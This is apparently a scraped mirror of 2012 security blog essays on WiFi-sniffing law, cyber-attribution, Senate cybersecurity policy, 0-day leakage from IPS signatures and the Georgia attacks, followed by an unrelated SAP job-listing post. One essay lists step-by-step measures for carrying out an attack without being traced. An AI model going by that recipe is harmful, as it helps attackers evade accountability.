In addition, V8 focused on speed. It introduced the "JIT" (just in time compilation to native code). Because of V8, the first versions of Chome had a massive competitive advantage over competing browsers in running JavaScript code. The other vendors have caught up and occasionally surpass Chrome in benchmarks today. It's this constant competition that is making JavaScript faster and faster, approaching that of a real language.

In some cases, JavaScript may be even faster than a real language. The above benchmarks are simple algorithms that don't test JavaScripts strengths. The DOM in browsers is a messy data structure. Optimizing messy data structures is therefore a key feature to JavaScript. The end result is that if you are writing an application with similarly messy data structures, it may run faster on a JavaScript engine than in a "real" programming language.

The V8 engine has spawned other projects, most famously the "NodeJS" project. NodeJS is an asynchronous web-server for building web-apps in JavaScript. It's asynchronous event-driven nature means that it's much more scalable than Apache. NodeJS has spawned an entire ecosystem of APIs and addons (managed with "npm", a NodeJS package manager).

Completely separate from browsers and servers, there is also the "ActionScript" dialect of JavaScript, part of Adobe AIR, which has become a popular alternative to Java for writing cross-platform applications.

JavaScript is still missing some things, like an integrated IDE with a source-level debugger, multicore support, light-weight fibers/coroutines, and some other features. But on the other hand, these often don't work well for "real" languages, either, and they are improving rapidly in JavaScript. For example, a popular package for NodeJS includes a source-level debugger -- run through a web-browser, naturally.

That JavaScript is becoming a "real" language means one more thing: it would be an excellent teaching tool. Colleges struggle with find the best language for teaching computer science concepts. Colleges often choose LISP, C, or Java. I suggest JavaScript as the better choice. It has enough "functional" and "object oriented" features to teach these concepts. But the biggest reason is that all students have to learn it anyway, since it's part of the browser (and what computer science geek doesn't do "View Source" on web pages?).

So in conclusion, in the competition among "real" programming languages to find the best one for your next project, consider JavaScript as an alternative.

28 Eylül 2012 Cuma

Judge correctly rules WiFi sniffing legal

To contact us Click HERE
A court has ruled that sniffing WiFi at hotspots is legal. Is this a good ruling? Legal expert Orin Kerr says “no”, that such sniffing is illegal. He is wrong, as I will show below.

GENERALLY ACCESSIBLE

First, we need to discuss how WiFi technically works. All WiFi devices sniff all traffic all the time. It’s just that they quickly discard the traffic that doesn’t belong to them. This means your neighbor’s WiFi passes through your iPhone. What we mean by “WiFi sniffing” means “no longer discarding it”.

The judge cites a $200 Airpcap as evidence that WiFi traffic can easily be captured, but he’s wrong, because it’s even easier. No special hardware is needed. For Windows, you might use the free “Winpcap” or “Netmon” software. For MacOSX you might use “Kismac”. For Linux, there are too many popular programs to list, but any such list would start with “tcpdump”. All are free. All use the fact that your laptop already has the WiFi traffic and all they need do is save it to disk rather than discard it.

This technical point is crucial when interpreting the statute, which says that it’s not unlawful to intercept communication that is “readily accessible to the general public”. Since nearby traffic is already going through your laptop or mobile phone or Kindle reader, and all you need is something that saves it to the disk. It’s hard to argue that this traffic isn’t “generally accessible”.


WPA ENCRYPTION

If you don’t want your traffic to be generally accessible, all you need do is turn on WPA encryption. This feature really works. If you choose a strong password, nobody can eavesdrop on your traffic, not your neighbor’s teenage kid, and not even the NSA with all their encryption-busting super-computers. All they will get is a random jumble of meaningless bits. Evildoers in countries like Iran are perfectly safe from drones flying overhead monitoring their WiFi (as long as they choose a secure password).

When you connect to an unencrypted WiFi network, such as your local Starbucks, your Windows laptop will warn you that anybody can eavesdrop. You have to confirm that yes, this is indeed what you want to do. In other words, you made the explicit choice for your traffic to be “generally accessible to the public”. Orin Kerr points to court rulings saying that eavesdropping on cordless telephones was illegal – but those are cases where consumers had no choice, and never explicitly made that decision.

At the nearest Starbucks to my house there is a bar next door. That bar also provides free WiFi, but they encrypt it with WPA. The password is just their phone number. Starbucks could easily do the same. Instead of providing an open hotspot, WiFi could just tell everyone the password is “starbucks”. It’s not terrible difficult for hackers to bypass, but it means that content is no longer “generally accessible”, and would trigger other provisions of the law banning interception of encrypted traffic.


CHILLING EFFECT

It’s not just your own device that sniffs then discards, traffic. There is a broad swath of technology that wants to eavesdrop on network traffic, but without any intent on capturing private data.

Google’s StreetView cars are one example. They eavesdropped on as much as they could in order to map WiFi “access points”, so that devices could use WiFi to locate themselves without GPS.

Another example are WiFi “intrusion detection systems” or “IDS”. These devices detect hackers trying to break into a WiFi network. By their very nature, they must eavesdrop on all the WiFi traffic near them, which includes traffic that from their neighbors that doesn’t belong to them. These systems will record suspicious activity, which sometimes means recording innocent traffic from their neighbors. Some have the ability to record the last several days worth of traffic, for investigating attacks.

None of these benign activities care if the traffic is encrypted. In fact, they’d prefer it that way. No intrusion analyst wants to analyze a suspected hacker incident only to find their neighbor is surfing porn. Google got a lot of bad publicity for over-capturing data that people could’ve just made private by turning on encryption.

Something as simply as having Starbucks encrypt their WiFi access points with the password “starbucks” would greatly help such things. It means individual packets are secure from being decrypted. They can only be decrypted if you’ve also captured the connection sequence, and can crack the password. An intrusion detection system triggering on suspicious events wouldn’t have that. Neither would a Google StreetView car driving nearby. Yes, these things might capture individual packets, but no, they would be powerless to decrypt them, even when the password is something well-known like “starbucks”. Only a hacker sitting at the hotspot for a long time capturing the connection sequence would be able to decrypt the packets.


PRECEDENT

Judges ruling on old laws applied to new technology set precedent. In effect, they create new law. They have a choice. One choice means writing new law as they do their best to fairly apply ill-fitting concepts. The other choice is to punt it back to the legislators, telling them in effect that if you want this new thing to be illegal, you need to clearly spell it out.

We see this principle in effect here. Ruled one way, the judge can make all WiFi illegal, since all devices capture traffic that doesn’t belong to them. Ruled another way, the judge allows benign activity like intrusion-detection and StreetView, but also allows hackers to eavesdrop at the local Starbucks (while still barring capture of encrypted traffic).

I prefer the second choice. I think the law is clear, and this is the better better interpretation. But even if the law were unclear, this should still be the choice, because judges should err on this side. If "hackers at Starbucks" needs to be solved, then either Starbucks should solve it themselves by turning on encryption, or legislators should pass laws explicitly barring such sniffing.


The know-nothings of cybersecurity

To contact us Click HERE
Cybersecurity is infested with “know-nothings”: people who know nothing technical but who nonetheless claim to be experts. That’s because you don’t really need technical expertise to say things like “you deserve to be hacked if you spend less on cybersecurity than on coffee”.

One of the more irritating know-nothings is Stewart Baker with his blog “Skating on Stilts”. He claims to have 20 years of experience in cybersecurity, although none of it involved actual computers. He has never configured a firewall. He’s never injected SQL into a website.

Know-nothings base their arguments on sweeping generalizations that are hard to disprove. For example, in a recent blogpost, he argues that law enforcement can track down hackers. He bases his argument on the claim “No one can function in cyberspace without dropping bits of identifying data here and there”.

That’s absolutely false. Sure, it’s easy to make a mistake, so even experts are sometimes caught. But it’s wrong to extrapolate that they will always make a mistake, and that it’s always possible to track them back.

Sure, had Osama bin Laden tried to hide behind Tor, our nation-state has enough resources to have found him. Sabu was caught because he slipped up using Tor (logged onto IRC forgetting to proxy). The Iranian Comodo hacker forgot to send all his connections through a proxy. So hiding isn't always easy.

But neither is it always hard. Go to a pawn shop in one city and buy a used laptop with cash wearing a disguise. Go to a bar in another city wearing another disguise. Use the free WiFi, not of the bar, but the business next to it. Establish a Tor tunnel from a VM. Through that tunnel, hop through a chain of open proxies. After the attack, wipe the hard drive. Nobody will catch you, not even with nation-state resources.

Note the above paragraph contains multiple defenses. For example, a common mistake is for people to download a hostile PDF which uses scripting to open connections that bypass Tor, thus revealing identity. But, if you’re in a VM running through a Tor proxy on the host, such accidents are automatically blocked.

Know-nothings like Stewart Baker base his claims on the Dunning-Krueger effect. He doesn’t know how disguise his actions in cyberspace, and it appears magic to him, so he's confident the problem is too difficult even for experts. It’s not. It’s really easy.

Many find Stewart Baker’s blogposts insightful. Well, of course: the more divorced from reality he is, the more he can make things up, the more insightful he can become.

I disagree with my fellow experts on a regular basis. But despite these disagreements, they are worth listening to, because they have expertise. And experience. But know-nothings aren’t worth listening to, even if you agree with them. As a community, we need to stop giving credence to these people.

--
Update: Another quote from Stewart Baker's post is "We will never defend our way out of the current cybersecurity crisis". That justification is wrong.

Defense is a tradeoff, and has decreasing marginal returns. That means perfect defense is impossible, because at some point, the marginal costs exceed the marginal benefits.

But the same applies to government regulation and law enforcement, Stewart Baker's solutions to the "crisis". Already, the U.S. government is more of a threat to you than Chinese hackers, and Stewart Baker wants to make that worse. "Crisis" is a term coined by lobbyists like Stewart Baker in order to frighten you into collectivization of the Internet. There is no crisis: for all the damage caused by Chinese hackers over the Internet, the benefits of the Internet are far greater. The government regulations Baker proposes destroys those benefits.

--
Update: On Twitter, Richard Bejtlich tells me that Baker is more informed than I think, especially about Chinese hackers, it's just that he can't talk about secrets. That's bollox. Double-secret probation expertise doesn't count.

For example, a CIA analyst named Tom Donahue gave a story at a conference about a hacker who had broken into a (non-U.S.) power grid then extorted money, but offered no specifics. Well, I'm pretty sure I know the origin of that story. In the story I heard, further investigation revealed it was actually an employee of the power company who had only claimed to be a hacker in order to cover his tracks.

Another example is the Witty Worm. Many in government believe that it targeted the U.S. military, because it was seeded from military computers. This is false. It wasn't "seeded" (as Wikipedia claims) from known systems, but was launched from only a single computer. This can be proven by constructing a graph of who-infected-whom from the slack area of memory. The unusual spread is explained by the fact these were promiscuous mode systems monitoring 10% of the Internet address space (their own -- the military owns a lot). When know-nothings in government are "informed" of things, they don't have the wit to interpret them. Nobody I talked to in the government understood what "slack" was, and hence, could not understand my rock-solid proof that Witty wasn't seeded.

My point here is that double-secret information like this is prone to errors. It's often a product of their overly paranoid view of the world. But we cannot challenge it, because it's secret. Baker may know important facts about threats from China, or he may know only paranoid rumors he doesn't have the skill to interpret. We can't trust him unless he can demonstrate a reason to trust him, which he hasn't done yet.

You know I'm an expert not because I claim to be, but because you can run my products, read my code, read my blog, and so on. You can challenge me on it. That's being an expert.

--
Update: My blogpost here is an ad hominem attack. I point this out because I normally hate ad hominem attacks. You should evaluate an argument on its merits, and not by who made it.

But his piece is reverse-hominem [is that a thing?]. He says, to the effect, "experts say attribution is difficult, but I think they are wrong". He's not giving evidence why other experts are wrong. He is asking us to trust his expertise as being greater than the other experts. This opens him up to ad hominem attacks. I know experts, experts are friends of mine, and you sir are no expert. You can't wave your hand and dismiss the real experts.

In addition, I counter with evidence. I describe in technical detail how easy it is to make attacks non-attributable. I may be wrong, but I've constructed  it so that you can attack my argument without having to attack me.


An open letter to Senator Rockefeller

To contact us Click HERE
Dear Sen. Rockefeller,

I am a cyber expert. I invented a key technology known as “IPS” that is a standard part of network defense. I invented hacking techniques like “sidejacking” that are a standard part of network offense. I am a coder who has written a million lines of production code. I am a "pentester" who has performed simulated attacks that confirm your worst nightmares about power-grid blackouts and financial meltdowns.

Your letter [*] was naïve. There is no such thing as “best” practice, because there is no such thing as “adequate” practice. The Fortune 500 has not figured out how to stop Chinese hackers from breaking into web browsers, or how to separate code from data injected into websites, or how to stop an inadvertent connection between a secured and unsecured network. This has allowed me to hack (in tests) into Fortune 500 companies, even those that follow the very best of “best practice”.

The problem isn’t that we don’t know how to secure companies, it’s that we don’t know how to do so economically. Security is a tradeoff with decreasing marginal returns. We have passed the point where we can invest $1 to stop $2 of losses due to hackers. We are now at the point where we spend $2 in protection to stop every $1 in losses. In other words, we are overspending on security. We do so because your laws, like HIPAA and SOX, force us too. The yearly cost of legal compliance already rivals the losses caused by Chinese hackers.

You want to pass laws to educate the public to take cybersecurity seriously. That’s not how our government works. You don’t teach us, we teach you. You don’t pass laws because you think it’s in our best interests. We tell you what our interests are. The justification for passing a law is because we ask you too, not because you want it. When the Fortune 500 says “we don’t want it”, you should listen. We are trying to tell you that your laws cost us too much. You derive your powers from the consent of the governed. Ignoring our interests is how revolutions get started.

We rejected your legislation because it wasn’t about cybersecurity, but increasing government authority. You want data sharing. Fine. You go first. Disclose all the details of past intrusions by Chinese hackers into the US government. I know some details, but I can’t talk about them. But you can. There are few national security secrets involved; government intrusions are kept secret because they are embarrassing to the responsible bureaucrats. You've passed laws exempting government from disclosing their mistakes; reverse these laws. Require the president to annually list all breaches against the US government. If you start sharing your data with us, then maybe we won’t mind so much sharing our data with you.

You trot out NSA head Gen. Keith Alexander to scare us about the threat of Chinese hackers and cyberterrorists in order to get support for you bills. Yet, you are unwilling to reveal any actual evidence. You tell us to trust you, because you are the experts. The problem is that you are also the ones who gain from this power grab, a conflict of interest making your testimony unreliable. Rather than scare us, show us, and let us make up our own mind. If the Chinese government is the existential threat you claim, then the evidence will convince us. We the American public deserve it. No law protecting us from these evil hackers should be passed without us seeing proof of the threat. I point this out because Americans are beginning to fear its own government more than the Chinese. You are behaving in a manner unaccountable to the public, from NSA spying on citizens, to indefinite detention of citizens, to extrajudicial killing of American citizens. I know how to stop the Chinese from hacking my computer, but I cannot stop my own government.

Before telling us how to secure our networks, secure your own first. The federal government is far behind the private sector in security. Just run a "Shodan" query on government address space and Fortune 500 address space, and you’ll see what I mean. If you know of some “best practice” that actually works, then do it, and document it. Laws are only needed to enforce “best practices” that don’t actually work (or are uneconomical). If they do work, then we’ll adopt them anyway, because it’s in own best interest to do so, in which case no law is needed.

Sincerely,
Robert David Graham
Hacker

ICYMI: 0-day leaks from IPS

To contact us Click HERE
In 2007, Dave Maynor and I gave a presentation showing how easy it was to extract 0-day from IPS. Many IPS vendors include 0-day protection, "virtually patching" vulnerabilities in the IPS before the real patch is announced. That means hackers can simply reverse engineer an IPS in order to get a constant feed of 0day from the signature updates. Dave and I demonstrated this at BlackHat.

I point this out because of this blog post drawing links between ZDI and recent Java and IE 0days. That posts suggests it's because ZDI sells the 0-days. But it could also be that hackers are reverse engineering TippingPoint signatures to get details, exactly as we described in our preso.

Reversing signatures is a little harder than you might think. TippingPoint lies: they do not provide as much 0day protection as they claim. Thus, there aren't as much vuln details in their signatures as a black hat might hope for.

In this case, it appears the vuln is an "execCommand" use-after-free. A typical signature will therefore contain the pattern "execCommand", but not enough information about exactly how this is vulnerable. But often that's enough for a skilled hacker. All they need know is a few details and they can work out the rest for themselves.

If there is a massive state-funded effort by the Chinese government doing these attacks (as many claim), then it's almost certain they've got TippingPoint boxes and are doing as much as they can to extract the latest 0day information from signature updates. The FBI threatened us trying to cancel our talk, claiming it was an issue of national security, presumably so that the Chinese wouldn't figure it out. We gave the talk anyway, because we felt the Chinese were already doing this, and it's something everyone needs to know about, and not something the FBI should try to hush up in order to protect TippingPoint's reputation. (I yelled at the FBI agents, calling them "corporate pawns", which felt dirty because normally I'm on the side of corporations).

h/t @jjarmoc

--
Update: BTW, the other rumor is that Microsoft leaks these through their MAPP early-access program. Again, I believe every state-sponsored hacking program has access to MAPP by hook or by crook. If the Chinese don't have early access to MAPP, then what the heck is wrong with them??
UpdateUpdate: As Matt Watchinski points out, MAPP doesn't work that. He's right: Microsoft only gives access to bugs they have already patched and are about to be released, not bugs that are in the queue. Still, it's a good bet any state sponsored actor knows who to bribe to get early access.

--
Update: BTW, Dave did some awesome work reversing VxWorks for this preso. If you are playing with VxWorks, you might send him questions. He kinda gave up on it after this preso having gotten disgusted with anything to do with it due to the retarded FBI.

There was no Georgia cyber-war

To contact us Click HERE
A common feature of "cyber-war" discussion is the 2008 event where Russia attacked the country of Georgia with "cyber" attacks coordinated with military attacks. However, there's no evidence the cyber attacks were by the Russian government, or that they were anything more than normal "citizen hacktivism".

Georgia looms large in "cyber-war" rhetoric because people believe they have a smoking gun in the way that "the cyberattackers appear to have had advance notice of the invasion and the benefit of some close cooperation from a state organ". But that's not really what happened. The conflict didn't start with a surprise attack by Russia. Instead, the attack by Russia was the result of escalating tensions over weeks, and was in direct response to the Georgian invasion of the province a day prior. Both the cyber-attacks and military attacks happened at roughly the same time because both were in reaction to the same events.

Russian hacktivists are involved in all of Russia's conflicts, bot internal and external. This leads to an "Occam's Razor" situation. We know that Russian hackers would DDoS and deface Georgian websites anyway. We have the forum posts pointing to this. When the Russian people get upset, they launch DDoS from their personal machines, and from the botnets run by the criminal gangs. Russian hackitivism explains the attack, adding "government direction" is superfluous.

Moreover, the other evidence points to hacktivists rather than military strategists. The attacks had no military value. Hackers went after high profile sites. Sure, they impacted Georgia infrastructure, but that was only a side effect. When those sites were taken out of country, the DDoS attacks followed, instead of continuing to hit Georgia infrastructure.

The situation is a lot like the paranoid conspiracy theories in the Muslim world that America must've been behind the "Innocence of Islam" film. It's because they can't conceive of things like that happening without state sponsorship. This stupidity is exploited by those who want to cause riots. In much the same way, those who wish to fan the flames of cyberwar exploit the sentiment that DDoS/defacements must be directed by a nation state.

When I bring this up, people demand that I present evidence to the contrary, as if it's up to me to prove that the Russian government wasn't involved. That's like demanding evidence that there are no UFOs. I'm not trying to prove that the Russian government wasn't involved, I'm simply pointing out that there is no evidence to their involvement. We know such cyber attacks come with all major conflicts, but attribution of those attacks is still speculation. Indeed, I would be unsurprised to find out that Russian government was involved -- I'm just saying that no evidence of this has yet been published.
Cyberwar is a serious thing. Sadly, most people pounding the drums of cyberwar are the non-serious type. How they approach the Georgia DDoS attacks is a good litmus test for their seriousness.


Update: The Statfor article on the event is a good example of how this nonsense works. It starts with the text: Russia's offensive against Georgia began not with tanks or fighter jets, but in cyberspace. ...Georgian government and media Web sites began to crash the night of Aug. 7 -- well before Russian troops emerged ... in the breakaway republic of South Ossetia the following morning

What this article leaves out is how Georgia had invaded South Ossetia on August 7, and how the cyber attacks were in response to that invasion (as well as in retaliation to Georgian hackers attacking Russian sites), and not a prelude to surprise attack. Likewise, the Statfor article points out that the website of the Georgia President had been DDoSed on July 20. This ignores the fact that the conflict had already heated up, with South Ossetia separatists having shelled Georgian forces on June 14, and that Russian jets had been overflying South Ossetia on July 9. The point is: these cyberattacks didn't happen in a vacuum, but where most likely the normal hacktivist response to events in the news.



Update: Some wikipedia references:
http://en.wikipedia.org/wiki/Cyberattacks_during_the_2008_South_Ossetia_war
http://en.wikipedia.org/wiki/2008_South_Ossetia_war
http://en.wikipedia.org/wiki/Georgia%E2%80%93NATO_relations
http://en.wikipedia.org/wiki/South_ossetia
http://en.wikipedia.org/wiki/Georgian%E2%80%93Ossetian_conflict

Some "analysis" of the Georgia cyber attacks:
http://usacac.army.mil/CAC2/MilitaryReview/Archives/English/MilitaryReview_20111231_art013.pdf
http://www.scribd.com/doc/6967393/Project-Grey-Goose-Phase-I-Report
http://www.scribd.com/doc/13442963/Project-Grey-Goose-Phase-II-Report

27 Eylül 2012 Perşembe

[OneStopSAP] Opportunity for SAP Basis At HP | Openings for Global HR Process At IBM - Latest jobs

To contact us Click HERE
 


 

Home Home
SAP Jobs | SAP Downloads | SAP Articles | SAP Training Institutes | SAP Faqs

Click here to Join SAP group for Latest Updates
http://groups.yahoo.com/group/onestopsap/join


Latest Jobs in SAP

 
SAP Basis Consultant Required At Mindtree
http://www.onestopsap.com//sap-jobs/details/sap-basis-consultant-required-1155.asp

 
 
Openings for SAP Abap At Shreyas
http://www.onestopsap.com//sap-jobs/details/openings-for-sap-abap-at-shrey-1154.asp

 
 
Requirement for SAP Abap Technical At Magna
http://www.onestopsap.com//sap-jobs/details/requirement-for-sap-abap-techn-1153.asp

 
 
Openings for SAP Abap At Mahindra Satyam
http://www.onestopsap.com//sap-jobs/details/openings-for-sap-abap-at-mahin-1152.asp

 
 
Opportunity for SAP Abap Technical At Capgemini
http://www.onestopsap.com//sap-jobs/details/opportunity-for-sap-abap-techn-1151.asp

 
 
SAP CRM Technical Required At Future Focus
http://www.onestopsap.com//sap-jobs/details/sap-crm-technical-required-at-1150.asp

 
 
Required SAP Mm At Talent Search
http://www.onestopsap.com//sap-jobs/details/required-sap-mm-at-talent-sear-1149.asp

 
 
Openings for Global HR Process At IBM
http://www.onestopsap.com//sap-jobs/details/openings-for-global-hr-process-1148.asp

 
 
Requirement for SAP Basis At Vodafone
http://www.onestopsap.com//sap-jobs/details/requirement-for-sap-basis-at-1147.asp

 
 
Requirement for SAP APO At WDC
http://www.onestopsap.com//sap-jobs/details/requirement-for-sap-apo-at-wdc-1146.asp

 
 
Opportunity for SAP Basis At HP
http://www.onestopsap.com//sap-jobs/details/opportunity-for-sap-basis-at-1145.asp

 
 

__._,_.___ Reply to sender | Reply to group | Reply via web post | Start a New Topic Messages in this topic (1) Recent Activity:
  • New Members 40
Visit Your Group =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
FREE SAP PREPARATION RESOURCES
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

<*> http://www.onestopsap.com - SAP Preparation Portal - Complete Resources on SAP Exam Preparation. Visit now at http://www.onestopsap.com

<*> http://forum.onestopsap.com - SAP Discussion Forum - Share all your experiences and discuss all the queries here at http://forum.onestopsap.com

<*> http://groups.yahoo.com/group/OneStopSAP/join - JOIN ONESTOPSAP GROUP - Join OneStopSAP group now and receive the latest information and preparation material on SAP now! http://groups.yahoo.com/group/OneStopSAP/join



---------------------------------------------------------------



Join http://groups.yahoo.com/group/OneStopSAP/join
  Join http://groups.yahoo.com/group/OneStopSAP/join
    Join http://groups.yahoo.com/group/OneStopSAP/join
      Join http://groups.yahoo.com/group/OneStopSAP/join
        Join http://groups.yahoo.com/group/OneStopSAP/join
      Join http://groups.yahoo.com/group/OneStopSAP/join
    Join http://groups.yahoo.com/group/OneStopSAP/join
  Join http://groups.yahoo.com/group/OneStopSAP/join
Join http://groups.yahoo.com/group/OneStopSAP/join

Yahoo! Groups Switch to: Text-Only, Daily Digest • Unsubscribe • Terms of Use .
__,_._,___